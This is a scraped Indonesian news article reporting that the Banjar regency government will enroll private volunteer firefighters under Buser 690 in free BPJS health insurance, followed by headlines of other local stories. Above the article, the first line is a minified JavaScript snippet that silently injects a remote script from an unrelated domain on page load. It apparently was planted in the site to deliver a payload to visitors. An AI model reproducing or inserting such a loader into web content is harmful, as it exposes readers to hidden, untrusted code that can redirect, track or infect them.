(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Anggota BPK Buser 690 Banjar Bakal Dijamin BPJS Kesehatan


KANALKALIMANTAN.COM, MARTAPURA – Kabar gembira bagi anggota BPK PMK swasta di Kabupaten Banjar, mereka bakal diberi jaminan kesehatan gratis oleh Pemerintah Kabupaten (Pemkab) Banjar.

Murzani MZ, Wakil Sekretaris Buser (Bumi Selamat Rescue) 690 Banjar mengatakan, pihaknya sudah mengeluarkan surat edaran No: 021/BUSER690/SE/X/2023 perihal permohonan data anggota BPK PMK untuk pengusulan BPJS Kesehatan oleh Pemkab Banjar.

Surat edaran Buser 690 Banjar itu menindaklanjuti surat dari Pemkab Banjar bernomor : 500.15.12.2./476/ Disnaker tentang permintaan data pekerja sektoral data pemadam kebakaran swasta, serta hasil koordinasi pertemuan dengan Dinas Kesehatan Kabupaten Banjar dan pengurus Buser 690 Banjar.

Baca juga: Keliling 14 Kota Sebar Poster Ujaran Kebencian, Kakek Asal Jateng Ditangkap di Kalsel

“Hasil pertemuan Pemerintah Kabupaten Banjar akan memberikan jaminan kesehatan BPJS Kesehatan gratis kepada anggota BPK yang terdaftar dalam Buser 690 Banjar beserta keluarga,” ujar Murzani MZ

Masih lanjut Murzani MZ, perlu diketahui sebelum terbitnya surat edaran tersebut, usulan perlindungan kesehatan itu berasal dari relawan BPK PMK yang tergabung dalam Buser 690.

Murzani MZ, Wakil Sekretaris Buser 690 Banjar. Foto: nh

“Awalnya dari keluhan-keluhan di grup kita Buser 690 Banjar, kemudian diproses dan akhirnya di berikanlah jaminan kesehatan untuk anggota BPK PMK yang belum memiliki jaminan kesehatan,” jelasnya.

Baca juga: Imbang di Kandang, Barito Putera Isi Posisi Ketujuh Klasemen

Jaminan kesehatan untuk anggota BPK swasta didaftarkan ke BPJS Kesehatan untuk tenaga kerja non formal. Dari pemerintah daerah mendaftarkan anggota pemadam swasta yang dikategorikan sebagai tenaga kerja non formal.

Sekadar diketahui, BPK swasta yang di bawah binaan Buser 690 Banjar ada 148 unit, dengan jumlah anggota bervariasi.

Surat edaran Buser 690 diterbitkan untuk proses pengumpulan data setiap unit agar melengkapi persyaratan berkas pengusulan BPJS kesehatan gratis dari Pemkab Banjar.

“Ada 148 unit BPK PMK dibawah Buser 690, saat ini masih dalam proses update data anggota, dan sebelum tanggal 10 November 2023 semua data anggota sudah harus diterima,” katanya. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

10 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

10 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

11 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

15 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

17 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

17 jam ago

This website uses cookies.